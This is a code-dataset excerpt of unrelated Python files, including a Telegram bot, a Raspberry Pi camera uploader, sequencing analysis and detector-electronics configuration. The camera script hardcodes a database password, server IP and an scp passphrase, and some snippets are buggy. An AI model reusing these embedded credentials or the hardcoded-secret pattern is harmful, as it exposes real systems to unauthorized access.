index_col=False)\ndf['sentiment'][df['sentiment']=='positive'] = '1'\ndf['sentiment'][df['sentiment']=='negative'] = '0'\n\n\nfor i in range(3000) :\n with open('./example/IMDB/'+'review_'+str(i)+'.txt', 'w') as f:\n f.write(df.iloc[i]['review'])\n\nfor i in range(3000) :\n with open('./example/IMDB/'+'label_'+str(i)+'.txt', 'w') as f:\n f.write(df.iloc[i]['sentiment'])\n\n","sub_path":"GC_text/GC_GloVe100d/data_maker.py","file_name":"data_maker.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"338315871","text":"\nfrom lib.const import *\nfrom sounds.player import Player\n\nclass SoundsController:\n\n def __init__(self, job_names):\n self.sound_player = Player()\n self.play_sounds = dict.fromkeys(job_names, False)\n\n def update_build_status(self, job, status):\n if (not self.play_sounds[job.name]):\n self.play_sounds[job.name] = True\n return\n\n if (status == SUCCESS and job.success != None):\n if (job.success == '__RANDOM'):\n self.sound_player.play_random_success_sound()\n else:\n self.sound_player.play_success(job.success)\n\n elif (status == FAILURE and job.failure != None):\n if (job.failure == '__RANDOM'):\n self.sound_player.play_random_failure_sound()\n else:\n self.sound_player.play_failure(job.failure)\n","sub_path":"lib/sounds_controller.py","file_name":"sounds_controller.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"243982061","text":"dict={\"name\":\"ABC\",\"age\":20,\"gender\":\"male\"}\ndict[\"college\"]=\"XYZ\"\nprint(dict)\ndict.pop(\"gender\")\nprint(dict)\nmyfamily = {\n \"child1\" : {\n \"name\" : \"hij\",\n \"year\" : 2004\n },\n \"child2\" : {\n \"name\" : \"klm\",\n \"year\" : 2007\n },\n \"child3\" : {\n \"name\" : \"asd\",\n \"year\" : 2011\n }\n}\nprint(myfamily)\na=dict.values()\nb=myfamily.values()\nprint(b)\nprint(a)\nprint(dict.get(\"age\"))\nprint(myfamily.get(\"child1\"))\nz=dict.keys()\nprint(z)\ndel myfamily\nprint(myfamily)\n","sub_path":"tri1.py","file_name":"tri1.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"366197336","text":"import time\nfrom functools import partial\nfrom pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom pyrogram.types import (\n InlineKeyboardMarkup,\n InlineKeyboardButton,\n)\nfrom telegramdiscuss.BotConfig import QA_Bot\nfrom pyrogram.errors import MessageDeleteForbidden, MessageIdInvalid\nimport logging\nimport configparser\n\nconfig = configparser.ConfigParser()\nconfig.read(f\"telegramdiscuss/settings.ini\")\nDC_GRP = config[\"discussion\"][\"DISCUSS_GROUP\"]\nDC_CHNL = config[\"discussion\"][\"DISCUSS_CHANNEL\"]\nQA_GRP = config[\"discussion\"][\"QA_GROUP\"]\nMSG_CMD = config[\"discussion\"][\"MSG_COMMAND\"]\n\ncommand = partial(filters.command, prefixes=[\"!\", \"/\", \".\"])\n# logging.basicConfig(\n# filename=\"info.log\", format=\"%(asctime)s - %(message)s\", level=logging.INFO\n# )\n\n\n@QA_Bot.on_message(filters.channel)\nasync def channel_forward(client: Client, message: Message) -> None:\n try:\n await client.forward_messages(\n chat_id=DC_GRP,\n from_chat_id=DC_CHNL,\n message_ids=[message.message_id],\n )\n except MessageIdInvalid:\n return None # Editing channel info causes MessageIdInvalid\n\n\nasync def msg_delete(client: Client, message: Message) -> None:\n\n try:\n await message.delete(True)\n except MessageDeleteForbidden:\n await client.send_message(\n chat_id=message.chat.id,\n text=\"Komut mesajlarını silebilmem için bana yetki vermelisin\",\n )\n\n\n@QA_Bot.on_message(command(MSG_CMD))\nasync def qa_command(client: Client, message: Message) -> None:\n\n await msg_delete(client, message)\n\n if not message.reply_to_message:\n await message.reply_text(\n text=\"Tartışma kanalına iletmek istediğin mesajı alıntılamalısın.\"\n )\n return None\n\n user = message.reply_to_message.from_user\n user_mention = f\"[{user.first_name}](tg://user?id={user.first_name})\"\n\n question = message.reply_to_message.text\n qa_message = f\"**{user_mention} Sordu:**\\n\\n{question}\"\n\n qa_chn_msg = await client.send_message(\n chat_id=DC_CHNL, text=qa_message, disable_notification=True\n )\n\n # https://t.me/c//\n # https://t.me//\n tg_url = \"https://t.me/\"\n channel_url = (\n f\"{tg_url}c/{DC_CHNL[4:]}\" if DC_CHNL[4:].isdigit() else f\"{tg_url}{DC_CHNL}\"\n )\n\n qa_button = InlineKeyboardButton(\n text=\"Soruya Git\",\n url=f\"{channel_url}/{qa_chn_msg.message_id}\",\n )\n\n await client.send_message(\n chat_id=QA_GRP,\n text=f\"**{user_mention} Sordu:**\\n\\n{question}\\n\\nSoru başlığına gitmek için tıkla\",\n reply_markup=InlineKeyboardMarkup([[qa_button]]),\n )\n\n\n@QA_Bot.on_message(command(\"activate\"))\nasync def activate(client: Client, message: Message) -> None:\n\n activation = await client.send_message(\n chat_id=message.chat.id, text=\"Botu kullanmaya başlayabilirsin\"\n )\n time.sleep(2)\n await client.delete_messages(\n chat_id=message.chat.id, message_ids=[activation.message_id]\n )\n","sub_path":"telegramdiscuss/plugins/discuss.py","file_name":"discuss.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"379829787","text":"import time\nimport picamera\nimport pexpect\nimport subprocess\nimport pymysql.cursors\nimport urllib.request\n\n#for JPHACKS 2018\n\n\ntimeStr = time.strftime(\"%Y%m%d-%H%M%S\")\nfilename = \"header\" + timeStr + \".jpg\"\n\n# take photo and save temp\nwith picamera.PiCamera() as camera:\n camera.resolution = (1280,720)\n camera.start_preview()\n time.sleep(2)\n camera.capture(filename)\n\n#file send\n# very danger code\n\"\"\"\nserverPath = \"/home/ubuntu/camData\"\ncmd = \"scp \" + \"./\" + filename + \" ubuntu@52.197.145.249:\" + serverPath\nscp = pexpect.spawn(cmd)\nscp.expect(\"Enter passphrase\")\nscp.sendline(\"hogehogehugagahuga\")\nscp.interact()\nscp.close()\n\"\"\"\n\n#register photo to SQL\ncaptureTime = time.strftime(\"%Y-%m-%d %H:%M:%S\")\nconn = pymysql.connect(host = '52.197.145.249',\n user = 'soisy',\n password = 'boaboa',\n db = 'soisy',\n charset = 'utf8mb4',\n cursorclass = pymysql.cursors.DictCursor)\n\ntry :\n with conn.cursor() as cursor :\n sql = \"INSERT INTO camData (filepath,capturedate,isClean,dirtiness) VALUES(%s,%s,%s,%s)\"\n cursor.execute(sql,(serverPath+\"/\"+filename,captureTime,0,0.2))\n conn.commit()\nfinally:\n conn.close()\n\n#cleaning\ncmd = \"rm \" + filename\nsubprocess.call(cmd.split())\n\n#send HTTP Request\nurl = 'http://52.197.145.249/pyTest.py'\nreq = urllib.request.Request(url)\nwith urllib.request.urlopen(req) as res :\n body = res.read()\nprint (body)\n","sub_path":"captureRoom/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"570426201","text":"complete_AA_list = ['R','H','K','D','E','S','T','N','Q','C','G','P','A','I', 'L','M','F',\\\n 'W','Y','V']\n\ncomp_AA_dic = dict((j,i) for i,j in enumerate(complete_AA_list))\ncomp_AA_dic_rev = dict((i,j) for i,j in enumerate(complete_AA_list))\n\nimport SequenceTools\nimport numpy as np\nfrom Bio.Seq import Seq\nfrom Bio.Alphabet import IUPAC\nimport pandas as pd\nimport glob\n\n# Update with directory\nfile_list_lib1 = glob.glob('./seqs/RMA_Round1_Lib1_Cutting/Trimmed_f/*.seq')\nfile_list_lib2 = glob.glob('./seqs/RMA_Round1_Lib2_Cutting/Trimmed_f/*.seq')\nfile_list_lib3 = glob.glob('./seqs/RMA_Round1_lost/Trimmeds_f/*.seq')\n\ndef get_bp_and_well(file_list, prefix = '', print_cut = False, indices = [-7, -4]):\n bpseqList = []\n wellIDList = []\n for file_name in file_list:\n # Get sequences\n f = open(file_name, 'r')\n line = next(f)\n while(line.strip() != '^^'):\n line = next(f)\n bpseq = ''\n for line in enumerate(f):\n bpseq += line[1].strip('\\n')\n\n # Check for incorrect characters\n if bpseq.strip('ATCG'):\n if print_cut == True:\n print(bpseq)\n a_variable = 1\n # Check for length\n elif len(bpseq) == 12: #MUST BE MODIFIED FOR LARGER THAN 4NDT\n bpseqList.append(bpseq)\n\n # Get Well Locations\n wellID = prefix + file_name[indices[0]:indices[1]]\n wellIDList.append(wellID)\n # Print if bad\n else:\n if print_cut == True:\n print(bpseq)\n\n df = pd.DataFrame({'bp_seq': bpseqList, 'well_ID': wellIDList})\n return df\n\n# Get dataframe of sequencing results (bp)\ndf1 = get_bp_and_well(file_list_lib1, 'L1_' ,print_cut = True)\ndf2 = get_bp_and_well(file_list_lib2, 'L2_', print_cut = True)\ndf3 = get_bp_and_well(file_list_lib3, 'L', print_cut = True, indices = [-9, -4])\n\nseq_df = pd.concat([df1, df2, df3], ignore_index=True)\n\n# Get AAs from bps and add column to dataframe\nbpseqs = seq_df['bp_seq'].values\nAAseqs = [str(Seq(i, IUPAC.unambiguous_dna).translate()) for i in bpseqs]\nseq_df['AA_seq'] = AAseqs\n\n# Create dataframe with wellIDs and activity data\nscreen_df = pd.read_csv('enantioselectivity_input.csv')\nscreen_df.columns = ['well_ID','ee1','ee2']\n\n# Create one big dataframe\n# Merge by well ID\ndf = seq_df.set_index('well_ID').join(screen_df.set_index('well_ID'))\n# Remove rows with 0s, no sequence, or NaNs\n''' Because the root dataframe for the merge is the sequence, I don't think any entries will\n be missing a sequence.\n'''\ndf = df[(df.ee1 != 0) & (df.ee2 != 0)]\ndf = df.dropna(how = 'any')\n# Calculate Statistics\ndf['ee'] = (df['ee2'] - df['ee1']) / (df['ee2'] + df['ee1']) * 100\ndf['sum'] = df['ee1'] + df['ee2']\n\n# Sort and Save\ndf = df.sort_values(by = ['ee'], ascending = False)\n\n# This section should be in the other one.\n# Need a featurize function\ndef quick_featurize(seq):\n temp_seq = [0 for i in range(len(seq)*20)]\n for i, aa in enumerate(seq):\n temp_seq[20*i + aa] = 1\n return temp_seq\n\ndf = pd.read_csv('RMA_NOD_Round1_Silylation.csv')\n\n# Change AA's to numbers\nAA_as_num_list = []\n\nfor i in range(len(df)):\n AAseq = df.iloc[i]['AA_seq']\n switched = [comp_AA_dic[i] for i in AAseq]\n AA_as_num_list.append(switched)\n\ndf['AA_as_num'] = AA_as_num_list\n\n# Featurize data\nAA_features_list = [quick_featurize(a) for a in AA_as_num_list]\ndf['AA_as_features'] = AA_features_list\n\n# Save\ndf.to_csv('RMA_NOD_Round1_Silylation.csv')\n\n\n","sub_path":"RMA_NOD.py","file_name":"RMA_NOD.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"241263385","text":"import os\n\nimport redis\n\n\ncur_dir = os.getcwd()\ndefault_image_dir = os.path.join(cur_dir, 'images')\n# image_dir = os.getenv('IMAGE_DIR', default_image_dir)\nfrontend_base_dir = os.getenv('FRONTEND_BASE_DIR', 'C:/Users/Frank/workspaces/fyp-scripts/web/django_project/fyp/')\nimage_dir = frontend_base_dir + 'static/fyp/img'\n\n# FFPMEG\nffmpeg = os.getenv('FFMPEG_LOCATION', 'C:/Users/Frank/workspaces/openpose/ffmpeg/bin/ffmpeg.exe')\nfps = int(os.getenv('FPS', 1))\nsleep_time = int(os.getenv('SLEEP_TIME', 1))\nrtsp_url = os.getenv('RTSP_URL', 'rtsp://192.168.1.7')\n# Openpose\nopenpose = os.getenv('OPENPOSE', 'C:/Users/Frank/workspaces/openpose/bin/OpenPoseDemo.exe')\nopenpose_model_folder = os.getenv('OPENPOSE_MODEL_FOLDER', 'C:/Users/Frank/workspaces/openpose/models/')\n\n# CNN\n# cnn_model_location = os.getenv('CNN_MODEL_LOCATION', os.path.join(cur_dir, 'models', 'hmnn_full_best_weights.hdf5'))\ncnn_model_location = os.getenv('CNN_MODEL_LOCATION', os.path.join(cur_dir, 'models', 'full_model_hhb_01022020.h5'))\ncnn_frames_per_prediction = 5\nprediction_threshold = float(os.getenv('CNN_PREDICTION_THRESHOLD', 0.5))\n\n# Crowding\ncrowding_frames_per_prediction = 1\n\n# Input/Output folder\nraw_video_folder = os.getenv('RAW_VIDEO_FOLDER', os.path.join(cur_dir, 'raw_videos'))\nsubclip_video_folder = os.getenv('SUBCLIP_VIDEO_FOLDER', os.path.join(image_dir, 'subclip_videos'))\nraw_frame_folder = os.getenv('RAW_FRAME_FOLDER', os.path.join(image_dir, 'raw_frames'))\nopenpose_processing_folder = os.getenv('OPENPOSE_PROCESSING_FOLDER', os.path.join(image_dir, 'op_processing'))\nheatmap_folder = os.getenv('HEATMAP_FOLDER', os.path.join(image_dir, 'heatmaps'))\nkeypoint_folder = os.getenv('KEYPOINT_FOLDER', os.path.join(image_dir, 'keypoints'))\nstack_frame_folder = os.getenv('STACKED_FRAME_FOLDER', os.path.join(image_dir, 'stacked_frames'))\ncrowd_folder = os.getenv('CROWD_OUTPUT_FOLDER', os.path.join(image_dir, 'crowd_graph'))\nlog_folder = os.getenv('LOG_FOLDER', os.path.join(cur_dir, 'logs'))\nframe_prefix = 'raw_'\n\n# redis config\nredis_url = os.getenv('REDIS_HOST', '127.0.0.1')\ntry:\n rd = redis.Redis(host=redis_url, port=6379, db=0)\nexcept:\n print('WARNING!!! Redis has not been setup on local')\n rd = None\n\n# opencv config\nvideo_extension = ['mp4', 'avi']\noutput_type = '.mp4'\nframe_width = 640\nframe_height = 480\nsubclip_duration = 5\n\n# Backend API config\nbackend_url = os.getenv('BACKEND_URL', 'http://127.0.0.1:8000')\ndisplay_frame_url = backend_url + '/displayFrame'\ndisplay_alert_url = backend_url + '/displayAlert'\ndisplay_crowd_url = backend_url + '/displayCrowdCount'\n\nfor folder in [\n image_dir, subclip_video_folder, raw_frame_folder,\n openpose_processing_folder, heatmap_folder,\n keypoint_folder, log_folder, cnn_model_location, stack_frame_folder,\n crowd_folder, raw_video_folder]:\n if not os.path.exists(folder):\n os.mkdir(folder)\n","sub_path":"pipeline/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"480216908","text":"# -*- coding: utf-8 -*-\n\nfrom ssd.modeling.anchors.prior_box import PriorBox\nimport torch\nimport argparse\nimport os\n\nfrom models import *\n\n\ndef GetArgs():\n parser = argparse.ArgumentParser(description=\"\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"--cfg\", type=str,default='cfg/yolov3tiny/yolov3-tiny.cfg', help=\"onnx model file\")\n parser.add_argument(\"--model\", type=str,default='best.pt', help=\"image file\")\n parser.add_argument(\"--input_size\", type=int,default=416, help=\"input size of image for net\")\n\n args = parser.parse_args()\n return args\n\n\nclass ONNXExportableModel(torch.nn.Module):\n def __init__(self, model):\n super().__init__()\n self.model = model\n self.backbone = model.backbone\n self.predictor = model.box_head.predictor\n self.cfg = model.cfg\n self.cls_headers = self.predictor.cls_headers\n self.reg_headers = self.predictor.reg_headers\n\n def predict(self, features):\n cls_logits = []\n bbox_pred = []\n for feature, cls_header, reg_header in zip(features, self.cls_headers,\n self.reg_headers):\n cls_logits.append(\n cls_header(feature).permute(0, 2, 3, 1).contiguous())\n bbox_pred.append(\n reg_header(feature).permute(0, 2, 3, 1).contiguous())\n\n batch_size = features[0].shape[0]\n cls_logits = torch.cat(\n [c.view(c.shape[0], -1, 1, 1) for c in cls_logits], dim=1).view(\n batch_size, -1, 1, self.cfg.MODEL.NUM_CLASSES)\n bbox_pred = torch.cat(\n [l.view(l.shape[0], -1, 1, 1) for l in bbox_pred], dim=1).view(\n batch_size, -1, 1, 4)\n\n return cls_logits, bbox_pred\n\n def forward(self, x):\n features = self.backbone(x)\n cls_logits, bbox_preds = self.predict(features)\n cls_and_bbox = torch.cat([cls_logits, bbox_preds], dim=-1)\n priors = PriorBox(self.cfg)()\n return cls_and_bbox, priors\n\n\nif __name__ == '__main__':\n args = GetArgs()\n input_file = args.model\n output_file = os.path.splitext(args.model)[0] + \".onnx\"\n # cfg.merge_from_file(args.cfg)\n input_size = args.input_size\n\n # cfg.merge_from_file('configs/mobilenet_v2_ssd320_voc0712.yaml')\n net = Darknet(args.cfg)\n params = torch.load(input_file, map_location=lambda storage, loc: storage)['model']\n net.load_state_dict(params,False)\n\n device = torch.device(\"cuda:0\") # if args.use_gpu else \"cpu\")\n net.eval().to(device)\n\n dummy_input = torch.randn(1, 3, input_size, input_size, device=device)\n input_names = ['input']\n # output_names = ['cls_logits', 'bbox_preds', 'anchors']\n output_names = ['cls_and_bbox', 'anchors']\n torch.onnx.export(\n ONNXExportableModel(net),\n dummy_input,\n output_file,\n verbose=True,\n input_names=input_names,\n output_names=output_names)\n","sub_path":"to_onnx/convert_model2.py","file_name":"convert_model2.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"48233253","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom globalvar import *\n\nHIDDEN_LAYER = 50\n#Class definitions for NN model and learning algorithm\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.fc1 = nn.Linear(N_STATES, HIDDEN_LAYER)\n self.fc1.weight.data.normal_(0, 0.1) # initialization\n \n self.fc2 = nn.Linear(HIDDEN_LAYER, HIDDEN_LAYER)\n self.fc2.weight.data.normal_(0, 0.1) # initialization\n \n self.fc3 = nn.Linear(HIDDEN_LAYER, HIDDEN_LAYER)\n self.fc3.weight.data.normal_(0, 0.1) # initialization\n \n self.fc4 = nn.Linear(HIDDEN_LAYER, HIDDEN_LAYER)\n self.fc4.weight.data.normal_(0, 0.1) # initialization\n \n self.out = nn.Linear(HIDDEN_LAYER, N_ACTIONS)\n self.out.weight.data.normal_(0, 0.1) # initialization\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.relu(x)\n actions_value = self.out(x)\n return actions_value","sub_path":"dsnclasses/.ipynb_checkpoints/NN6-checkpoint.py","file_name":"NN6-checkpoint.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"463408541","text":"#!/usr/bin/env python33\n\n\"\"\"\nConfiguration for ProtoDUNE FEMB + SBND WIB Setup\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\nfrom builtins import range\nfrom builtins import int\nfrom builtins import hex\nfrom builtins import str\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import object\nimport sys \nimport string\nimport time\nfrom femb_python.femb_udp import FEMB_UDP\nfrom femb_python.configuration.config_base import FEMB_CONFIG_BASE\n\nclass FEMB_CONFIG(FEMB_CONFIG_BASE):\n\n #__INIT__#\n def __init__(self):\n #declare basic system parameters\n self.NFEMBS = 4\n self.NASICS = 8\n self.NASICCH = 16\n\n #declare board specific registers\n self.FEMB_VER = \"WIB_SBND\"\n self.REG_RESET = 0\n self.REG_ASIC_RESET = 1\n self.REG_ASIC_SPIPROG = 2\n self.REG_SOFT_ADC_RESET = 1\n\n self.REG_LATCHLOC_3_TO_0 = 4\n self.REG_LATCHLOC_7_TO_4 = 14\n\n self.REG_FPGA_TP_EN = 16\n self.REG_ASIC_TP_EN = 16\n self.REG_DAC_SELECT = 16\n self.REG_TP = 5\n\n self.CLK_SELECT = 6\n self.CLK_SELECT2 = 15\n\n self.REG_SEL_ASIC = 7\n self.REG_SEL_ASIC_LSB = 8\n\n self.REG_WIB_MODE = 8\n self.REG_ADC_DISABLE = 8\n\n self.REG_HS_DATA = 9\n self.REG_HS = 17\n\n self.INT_TP_EN = 18\n self.EXT_TP_EN = 18\n\n self.REG_SPI_BASE = 0x200\n self.REG_SPI_RDBACK_BASE = 0x250\n\n #internal variables\n self.fembNum = 0\n self.useExtAdcClock = True\n self.isRoomTemp = False\n self.maxSyncAttempts = 100\n self.doReSync = True\n self.spiStatus = 0x0\n self.syncStatus = 0x0\n self.CLKSELECT_val_RT = 0xF7\n self.CLKSELECT2_val_RT = 0xF7\n self.CLKSELECT_val_CT = 0xEF\n self.CLKSELECT2_val_CT = 0xEF\n self.REG_LATCHLOC_3_TO_0_val = 0x04040404\n self.REG_LATCHLOC_7_TO_4_val = 0x04040404\n\n #initialize FEMB UDP object\n self.femb = FEMB_UDP()\n self.femb.UDP_PORT_WREG = 32000 #WIB PORTS\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n self.femb.doReadBack = True #WIB register interface is unreliable\n\n #ASIC config variables\n self.feasicLeakage = 0 #0 = 500pA, 1 = 100pA\n self.feasicLeakagex10 = 0 #0 = pA, 1 = pA*10\n self.feasicAcdc = 0 #AC = 0, DC = 1\n \n self.feasicEnableTestInput = 0 #0 = disabled, 1 = enabled\n self.feasicBaseline = 0 #0 = 200mV, 1 = 900mV\n self.feasicGain = 2 #4.7,7.8,14,25\n self.feasicShape = 1 #0.5,1,2,3\n self.feasicBuf = 0 #0 = OFF, 1 = ON\n\n def printParameters(self):\n print(\"FEMB # \\t\",self.fembNum)\n print(\"External ADC Clocks\\t\",self.useExtAdcClock)\n print(\"Room temperature \\t\",self.isRoomTemp)\n print(\"MAX SYNC ATTEMPTS \\t\",self.maxSyncAttempts)\n print(\"Do resync \\t\",self.doReSync)\n print(\"CLKSELECT RT \\t\",str(hex(self.CLKSELECT_val_RT)))\n print(\"CLKSELECT2 RT \\t\",str(hex(self.CLKSELECT2_val_RT)))\n print(\"CLKSELECT CT \\t\",str(hex(self.CLKSELECT_val_CT)))\n print(\"CLKSELECT2 CT \\t\",str(hex(self.CLKSELECT2_val_CT)))\n print(\"LATCHLOC_3_TO_0 \\t\",str(hex(self.REG_LATCHLOC_3_TO_0_val)))\n print(\"LATCHLOC_7_TO_4 \\t\",str(hex(self.REG_LATCHLOC_7_TO_4_val)))\n print(\"FE-ASIC leakage \\t\",self.feasicLeakage)\n print(\"FE-ASIC leakage x10\\t\",self.feasicLeakagex10)\n print(\"FE-ASIC AD/DC \\t\",self.feasicAcdc)\n print(\"FE-ASIC test input \\t\",self.feasicEnableTestInput)\n print(\"FE-ASIC baseline \\t\",self.feasicBaseline)\n print(\"FE-ASIC gain \\t\",self.feasicGain)\n print(\"FE-ASIC shape \\t\",self.feasicShape)\n print(\"FE-ASIC buffer \\t\",self.feasicBuf)\n\n print(\"FE-ASIC config\")\n for regNum in range(self.REG_SPI_BASE,self.REG_SPI_BASE+72,1):\n regVal = self.femb.read_reg( regNum)\n if regVal == None:\n continue\n print( str(regNum) + \"\\t\" + str(hex(regVal)) )\n\n def resetBoard(self):\n print(\"Reset\")\n\n def initBoard(self):\n self.initWib()\n for femb in range(0,4,1):\n self.selectFemb(femb)\n self.initFemb()\n \n def initWib(self):\n #WIB initialization\n\n #set UDP ports to WIB registers\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n self.femb.REG_SLEEP = 0.001\n\n #register 2, LED\n self.femb.write_reg_bits(2 , 0, 0xFF, 0 )\n\n #clock select (firmware version dependent)\n #self.femb.write_reg_bits(4 , 2, 0x3, 2 )\n\n #initialize clock\n self.initSI5338()\n\n #return register interface to FEMB\n self.selectFemb(self.fembNum)\n\n def initFemb(self):\n if (self.fembNum < 0) or (self.fembNum >= self.NFEMBS ):\n return\n\n #FEMB power enable on WIB\n self.powerOnFemb(self.fembNum)\n time.sleep(4)\n\n #Make sure register interface is for correct FEMB\n self.selectFemb(self.fembNum)\n\n #check if FEMB register interface is working\n print(\"Checking register interface\")\n regVal = self.femb.read_reg(6)\n if (regVal == None) or (regVal == -1):\n print(\"Error - FEMB register interface is not working.\")\n print(\" Will not initialize FEMB.\") \n return\n\n checkFirmware = self.checkFirmwareVersion()\n if checkFirmware == False:\n print(\"Error - invalid firmware, will not attempt to initialize board\")\n return\n\n #turn off pulser\n self.femb.write_reg_bits( self.REG_FPGA_TP_EN, 0,0x1,0) #test pulse enable\n self.femb.write_reg_bits( self.REG_ASIC_TP_EN, 1,0x1,0) #test pulse enable\n self.femb.write_reg_bits( self.REG_DAC_SELECT, 8,0x1,0) #test pulse enable\n self.femb.write_reg_bits( self.REG_TP, 0,0x1F,0x00) #test pulse amplitude\n self.femb.write_reg_bits( self.REG_TP, 16,0xFFFF,0x100) #test pulse frequency\n self.femb.write_reg_bits( self.REG_TP, 8,0xFF,0x00) #test pulse delay\n\n #phase control\n\n self.femb.write_reg_bits(self.REG_LATCHLOC_3_TO_0 , 0, 0xFFFFFFFF, self.REG_LATCHLOC_3_TO_0_val ) #datashift\n self.femb.write_reg_bits(self.REG_LATCHLOC_7_TO_4 , 0, 0xFFFFFFFF, self.REG_LATCHLOC_7_TO_4_val ) #datashift\n\n #enable streaming\n self.femb.write_reg_bits(self.REG_HS_DATA , 0, 0x1, 1 ) #Enable streaming\n self.femb.write_reg_bits(self.REG_HS_DATA , 3, 0x1, 1 ) #Enable ADC data\n\n #EXTERNAL CLOCK STUFF\n self.ext_clk_config_femb()\n\n #Set FE ASIC SPI configuration registers\n self.configFeAsic()\n\n #check ASIC SPI\n self.checkFembSpi()\n print(\"SPI STATUS\",\"\\t\",self.spiStatus)\n\n #check ADC SYNC\n self.checkSync()\n print(\"SYNC STATUS\",\"\\t\",self.syncStatus)\n\n #Test FEMB SPI working\n def checkFembSpi(self):\n print(\"Check ASIC SPI\")\n \n self.spiStatus = 0\n for regNum in range(0,72,1):\n progVal = self.femb.read_reg( self.REG_SPI_BASE + regNum)\n if progVal == None :\n print(\"Error - FEMB register interface is not working.\")\n return\n rdbckVal = self.femb.read_reg( self.REG_SPI_RDBACK_BASE + regNum)\n if rdbckVal == None :\n print(\"Error - FEMB register interface is not working.\")\n return\n print(hex(progVal),\"\\t\",hex(rdbckVal))\n if progVal != rdbckVal :\n print(\"SPI readback failed.\")\n self.spiStatus = 1\n return\n\n def checkSync(self):\n print(\"Check ASIC SYNC\")\n regVal = self.femb.read_reg(6)\n if regVal == None:\n print(\"doAsicConfigcheckFembSpi: Could not check SYNC status, bad\")\n return\n syncVal = 0\n syncVal = ((regVal >> 16) & 0xFFFF)\n self.syncStatus = syncVal\n\n #FEMB power enable on WIB\n def powerOnFemb(self,femb):\n fembVal = int(femb)\n if (fembVal < 0) or (fembVal > 3 ):\n return\n\n #set UDP ports to WIB registers\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n\n regBase = int( fembVal * 4)\n\n #FEMB power enable\n self.femb.write_reg_bits(8 , regBase + 0, 0x1, 1 ) #3.6V\n self.femb.write_reg_bits(8 , regBase + 1, 0x1, 1 ) #2.8V\n self.femb.write_reg_bits(8 , regBase + 2, 0x1, 1 ) #2.5V\n self.femb.write_reg_bits(8 , regBase + 3, 0x1, 1 ) #1.5V\n self.femb.write_reg_bits(8 , 16 + fembVal, 0x1, 1 ) #BIAS enable\n\n regVal = self.femb.read_reg(8)\n if regVal == None:\n return\n print(\"FEMB Power on: \", hex(regVal))\n \n #set UDP ports back to normal\n self.selectFemb(self.fembNum)\n\n def powerOffFemb(self,femb):\n fembVal = int(femb)\n if (fembVal < 0) or (fembVal > 3 ):\n return\n\n #set UDP ports to WIB registers\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n\n regBase = int( fembVal * 4)\n\n #FEMB power disable\n self.femb.write_reg_bits(8 , 16 + fembVal, 0x1, 0 ) #BIAS\n self.femb.write_reg_bits(8 , regBase + 0, 0x1, 0 ) #3.6V\n self.femb.write_reg_bits(8 , regBase + 1, 0x1, 0 ) #2.8V\n self.femb.write_reg_bits(8 , regBase + 2, 0x1, 0 ) #2.5V\n self.femb.write_reg_bits(8 , regBase + 3, 0x1, 0 ) #1.5V\n\n regVal = self.femb.read_reg(8)\n if regVal == None:\n return\n print(\"FEMB Power off: \", hex(regVal)) \n \n #set UDP ports back to normal\n self.selectFemb(self.fembNum)\n \n def selectChannel(self,asic,chan):\n #print(\"Select channel\")\n asicVal = int(asic)\n if (asicVal < 0 ) or (asicVal > self.NASICS):\n return\n\n #set UDP ports to WIB\n self.femb.UDP_PORT_WREG = 32000\n self.femb.UDP_PORT_RREG = 32001\n self.femb.UDP_PORT_RREGRESP = 32002\n\n #select ASIC\n #print(\"Selecting ASIC \" + str(asicVal) )\n self.femb.write_reg_bits(self.REG_SEL_ASIC , self.REG_SEL_ASIC_LSB, 0xF, asicVal )\n\n #Note: WIB data format streams all 16 channels, don't need to select specific channel\n\n #set UDP ports back to normal\n self.selectFemb(self.fembNum)\n \n def configFeAsic(self):\n print(\"CONFIG ASICs\")\n\n #global config varibles\n feasicLeakageVal = int( self.feasicLeakage ) #0 = 500pA, 1 = 100pA\n feasicLeakagex10Val = int( self.feasicLeakagex10 ) #0 = x1, 1 = x10\n acdcVal = int( self.feasicAcdc ) #DC = 0, AC = 1\n \n #channel specific variables\n testVal = int( self.feasicEnableTestInput )\n baseVal = int( self.feasicBaseline ) #0 = 900mV, 1 = 200mV\n gainVal = int( self.feasicGain )\n shapeVal = int( self.feasicShape )\n bufVal = int( self.feasicBuf ) #0 = OFF, 1 = ON\n\n if (testVal < 0 ) or (testVal > 1):\n return\n if (baseVal < 0 